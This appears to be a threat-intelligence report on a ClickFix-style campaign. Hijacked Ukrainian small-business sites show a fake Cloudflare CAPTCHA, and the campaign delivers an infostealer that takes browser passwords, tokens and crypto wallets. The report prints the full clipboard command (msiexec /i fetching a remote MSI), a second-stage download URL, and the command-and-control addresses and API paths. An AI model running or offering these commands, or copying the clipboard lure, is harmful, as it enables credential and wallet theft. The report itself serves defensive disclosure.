Beginning no later than 9 September 2026, an unattributed but assessed Russian-speaking threat actor compromised at least six legitimate Ukrainian small-business websites (a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller/publisher, a psychological facility, a tool retailer, and an automotive retailer) and injected a hidden iframe that loads a remote script from fsputnik.com (hxxps://fsputnik.com/tds/tracker.js). The iframe renders a counterfeit Cloudflare 'verify you are human' page. The page declares lang="ru" and contains Russian-language HTML comments despite Ukrainian-visible text, displays a randomly generated hexadecimal 'Ray ID' and a fixed 'visitor identifier' (34as77), and reads 'Адреса сайту не визначена' ('site address not specified'). Clicking the CAPTCHA fires a 'click' beacon and immediately calls copyToClipboard() to place a Windows Installer command on the clipboard -- before the page ever shows the Windows+R instructions, creating a deliberate gap between the hidden action and the visible instruction. A three-second spinner and an approximately 35-second disabled 'Done' button add social-engineering pressure and buy time for the paste-and-run flow to feel deliberate rather than automatic.

The clipboard payload is a single line: Msiexec.exe /i "https://uasputnik.com/elita.msi" /passive ORG_NOTE="Захист від автоматичних запитів... Підтверджую, що я не робот." Using msiexec.exe with /passive avoids invoking powershell.exe or cmd.exe directly, side-stepping detections that focus on scripting-engine abuse. The domain uasputnik.com was registered on 9 September 2026 at 17:02:25 UTC through registrar Gransy, s.r.o. and was updated roughly 3.5 hours later; it resolved to 176.53.159.40 (AS154383, ZORNTECH WEB SOLUTIONS) from 9-14 September 2026. Multiple MSI filenames were observed served from the domain (elita.msi, miks.msi, astra.msi, harbor.msi, neon.msi, sova.msi, vyse.msi), consistent with per-target or per-campaign staging. The analyzed elita.msi (SHA-256 38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878) embeds an encrypted next-stage URL that decodes to http://107.175.82.242:9000/wilow/psychedeliclove.exe, along with decoy strings referencing MsMpEng.exe and explorer.exe.

psychedeliclove.exe (SHA-256 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90) is a 64-bit Windows executable that Arctic Wolf Labs tracks as Psychedelic Stealer, based on an internal 'Psychedelic' configuration tag. It harvests saved passwords and account tokens from Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, and Yandex (dedicated routines at offsets 0x140008da0 for passwords and 0x140009950 for tokens, the latter reading a temporary copy of the Chromium Web Data database named wd_tmp.db), and separately targets cryptocurrency assets: browser-extension wallets MetaMask, Trust Wallet, OKX Wallet, and SafePal (routine at 0x14000a8a0), and desktop wallets Exodus, Atomic Wallet, Electrum, Bitcoin Core, and Litecoin Core (routine at 0x14000ab60). Stolen data is uploaded over HTTP to a dedicated C2 at 193.178.159.128:8080, authenticated with an X-API-Key header, to endpoint-specific paths (/api/v1/checkin, /api/v1/ext/passwords, /api/v1/ext/tokens, /api/v1/ext/wallets). The malware also profiles the host (computer/user name, OS version and architecture, CPU/core count, RAM, GPU, disk size, timezone, language, screen resolution, MAC address, administrator status, installed AV, and installed browsers) and establishes persistence via a logon scheduled task named psychedelicloveUtils. Remote tasking is implemented through /api/v1/agent/tasks?hwid=%s (poll), /api/v1/agent/tasks/%llu/ack (acknowledge), and %s/d/%s (attachment retrieval), supporting EXE, COM, BAT, CMD, MSI, and PowerShell task types, with local state tracked in executed_tasks.json and downloaded files staged under downloads\<taskid>_<filename>. A native-messaging bridge (host name com.lunex.explorer, manifest com.lunex.explorer.json, with supporting host.ps1/host.bat scripts and an <<BP_INSTALLER_HWID>> placeholder) is deployed into browser profiles to let a companion browser extension communicate with the host implant.

The lure-side infrastructure is managed through a separate operator panel branded 'РУБЛЁВКА TDS' ('Rublevka TDS', named for a wealthy Moscow district), hosted on uasputnik.com, which configures per-domain payload delivery, polls visitor-interaction telemetry every two seconds, and retrieves the live payload value via an asynchronous request to admin777111777.php?api=get_payload&domain=uasputnik.com (falling back to a hardcoded placeholder if the response is too short, with no validation before the value is copied to the clipboard). At observation time the panel recorded 557 views, 426 clicks, and 79 'complete' events across 32 countries; the operators' own event model cannot distinguish web-lure progression from actual MSI execution or host compromise. Ukraine accounted for the large majority of recorded interaction (446 views, 351 clicks, 71 'complete' events), with smaller volumes from the United States, Poland, Germany, Canada, and the Netherlands, confirming Ukrainian users as the primary intended audience despite the campaign's incidental global reach. Arctic Wolf Labs assesses the operators are likely Russian-speaking based on the Russian-language HTML artifacts, the lang="ru" declaration, the 'Rublevka' panel branding, and source-code checks that avoid execution on hosts with Russian keyboard layouts, but has not attributed the activity to a named threat actor or group. No CVE applies; the entire chain relies on social engineering (ClickFix-style clipboard hijacking) rather than a software vulnerability.